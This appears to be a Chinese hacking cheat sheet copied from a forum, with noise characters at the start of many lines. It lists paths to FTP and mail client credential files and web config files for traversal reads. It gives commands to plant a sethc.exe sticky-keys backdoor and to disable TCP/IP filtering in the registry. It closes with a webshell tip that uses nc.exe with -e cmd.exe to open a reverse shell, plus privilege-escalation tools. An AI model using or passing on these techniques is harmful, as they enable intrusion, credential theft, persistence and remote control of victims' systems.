7 w6 ^) F/ X. b* aC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
( B# k2 u! R# ^% N% O0 N/ TC:\Program Files\LeapFTP\LeapFTP.exe
/ }, t  Y1 s6 |% [c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
" H4 u" F* y/ u& a( G( w- L; wC:\Program Files\FlashFXP\flashfxp.exe
7 M5 e, n5 R) _/ F+ L2 Uc:\Program Files\Oracle\bin\regsvr32.exe
8 h+ G$ N, N% I2 Bc:\Program Files\腾讯游戏\QQGAME\readme.txt
! V( d9 x, ?8 L* n3 [' Ac:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
# P' D. z  k+ o, k9 {7 xc:\Program Files\tencent\QQGAME\readme.txt
2 }$ I4 r! U$ T# R2 C" ?9 E& QC:\Program Files\StormII\Storm.exe
) ?2 M4 ^4 ]' _" d$ G- J
) j; b  r* M9 \  ~! ?3.网站相对路径:

/config.php
+ r9 S; B' z8 c% \. |../../config.php
5 g" y+ T. o& b# ]  @! w4 R../config.php
../../../config.php
0 n5 q8 Z1 @# @" j7 O0 E/config.inc.php
) {( F# f0 [& S./config.inc.php
../../config.inc.php
../config.inc.php
% z% t% r# d) u7 v../../../config.inc.php
/conn.php
./conn.php
../../conn.php
7 B, C2 ?, ]- C+ y8 u../conn.php
../../../conn.php
/conn.asp
./conn.asp
6 p+ H6 r9 X) e: N; U7 G- p: m../../conn.asp
6 H  [8 n4 p" \8 b- f7 H../conn.asp
4 y# k! j9 u& o$ o../../../conn.asp
/config.inc.php
./config.inc.php
! g& `2 w3 y3 m# d../../config.inc.php
../config.inc.php
1 f. c+ U- v  {* e3 v$ |; x  Y../../../config.inc.php
/ W/ m9 y/ }+ v9 m' M  ^/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
* B4 _+ F- U6 c9 E; z9 s  M- W/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
9 F) }# ]) e$ r) o' H3 C6 h../../../config/config.inc.php
& T( K9 p5 ], Z7 j/ @/config/conn.php
./config/conn.php
6 A) ]4 r$ d# o9 g; k2 F../../config/conn.php
( c: b' l) ]  F) s, R( t( @../config/conn.php
6 g! [( c. h- H) d; }/ A& i+ u) _+ O../../../config/conn.php
$ l- S/ O) c6 ]5 ]# e- y0 e% G  w/config/conn.asp
& O1 z0 g/ Q, _- c$ @# G) G" k* Y./config/conn.asp
../../config/conn.asp
1 ?" v. F% t* ]7 J: I5 G../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
- I! T( v1 n. Z! [9 r../../config/config.inc.php
( c1 y$ Z2 t5 l' f% x- v) Z../config/config.inc.php
../../../config/config.inc.php
/data/config.php
( ^" g$ k' {' N4 x3 V../../data/config.php
! M7 o1 N  L# Q: ^% m! m+ ~../data/config.php
8 a) v- ]# O$ Y# i. d../../../data/config.php
1 [6 S. t4 E) ^1 G- ^" v7 f# @- _/data/config.inc.php
./data/config.inc.php
  Q! e5 l/ K) O/ a. H1 a../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
  ]9 b2 X+ x$ T2 I/data/conn.php
; X  b- k9 `* E& Q' ?./data/conn.php
9 _5 ]7 O  l' [( @( N- M../../data/conn.php
/ x, x  R1 t$ a& E( H7 h- n../data/conn.php
../../../data/conn.php
/data/conn.asp
+ ?3 R) A& Q# {3 h# c: T./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
9 F: P& P+ j9 V/ p- _' |# n/data/config.inc.php
* z' m2 c. U3 N3 L3 [1 T+ ~9 V./data/config.inc.php
! O# W+ Z0 u2 q7 y../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
2 I* @& x. v+ \/include/config.php
../../include/config.php
$ p. y' {. Z) C+ d9 [../include/config.php
: D3 y: V2 o6 L2 O) ?4 i: ^' `; g, U../../../include/config.php
% V8 ]9 S5 e' X2 W" J/include/config.inc.php
./include/config.inc.php
6 D' h/ F0 |* v( X../../include/config.inc.php
. d7 J7 X: M3 T' f../include/config.inc.php
, A" H) N" O) H# y2 y0 m2 X../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
; I) O' b2 X/ i; P# o# O../../../include/conn.php
/include/conn.asp
6 M: S3 H: ^4 B' I( ]! h/ ]./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
1 J) P( l8 R; \+ v) ?../../include/config.inc.php
6 s+ D4 B8 F: l! \4 s/ u" z/ s../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
* l/ v6 l( w" h$ l( Z/ d" J../inc/config.php
../../../inc/config.php
/inc/config.inc.php
8 m# M  x" @% X9 g7 a$ A8 l./inc/config.inc.php
../../inc/config.inc.php
# ~# J3 X1 {% ~& e../inc/config.inc.php
* f' S8 u% M' `+ J../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
( ~* ^% |: A% n& }+ C../../inc/conn.php
../inc/conn.php
- S" d+ K6 s/ }- E, ?../../../inc/conn.php
7 `1 ~' n, U% i/inc/conn.asp
! u! ?6 a3 Y/ d8 w0 O./inc/conn.asp
9 M- N6 Y' W: @' b# Y. d# G; M$ {../../inc/conn.asp
; p' v" m! h& ?! H: R1 g../inc/conn.asp
1 X7 X1 x% E/ o. D9 y../../../inc/conn.asp
) l  \% \$ X& W. c6 U  A/inc/config.inc.php
./inc/config.inc.php
# a4 B: l/ D3 Z5 q! E8 {) Y../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
8 {# b; E. w9 }! d/index.php
./index.php
' K  S& g# e8 C/ Q../../index.php
" _# b, ?: i1 {. _# ]# B../index.php
# K/ \8 P; d# x( R) @- b# I6 \../../../index.php
/index.asp
; \0 W7 }0 I' e, W* @( }) o% N./index.asp
../../index.asp
9 m& r  Q# d4 [$ ?2 e../index.asp
+ p( l  i# H0 d../../../index.asp
- l- C( C5 `; i  w& k& F& c; J# ?替换SHIFT后门
6 S* V9 @8 e% h! P/ M/ D' X4 [% e　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
+ h- h* P* o) k0 y2 Q
　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
1 Z& h3 S$ v5 t& q' E/ Z
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

% n# v3 f! b8 b　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
& z2 s% X: ?- }( G$ e% \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 G) k7 \9 W* t3 d  O; E  Z' S
分别用
/ p" s" C- J3 hregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
* F7 s3 Z+ U6 L. q) G/ Y" V; o7 @命令来导出注册表项

1 Y- Q/ c) e# }5 U* u! |( W( t4 F然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
7 {1 D% |* f( P5 }
5 g( |, G2 ]* H; C再将以上三个文件分别用
, q' o2 }" K, a) S: Z# l4 Bregedit -s D:\a.reg
regedit -s D:\b.reg
" @0 _; y. T7 L$ _/ W1 I. a4 R% Hregedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
1 V& b, c% ^- Yc:\windows\temp\cmd.exe
1 u# B9 R/ _* B+ u$ Dnc也在同目录下
3 O- _2 K6 Q! u9 x" }例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

* o  C2 O# U$ s8 {! m而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
% Y7 I$ I" i7 W命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
: r8 b( I) ^8 L  U却能成功。。
8 G" b# F3 q1 i* J) s这个不是重点
& r5 F6 o2 W1 b我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功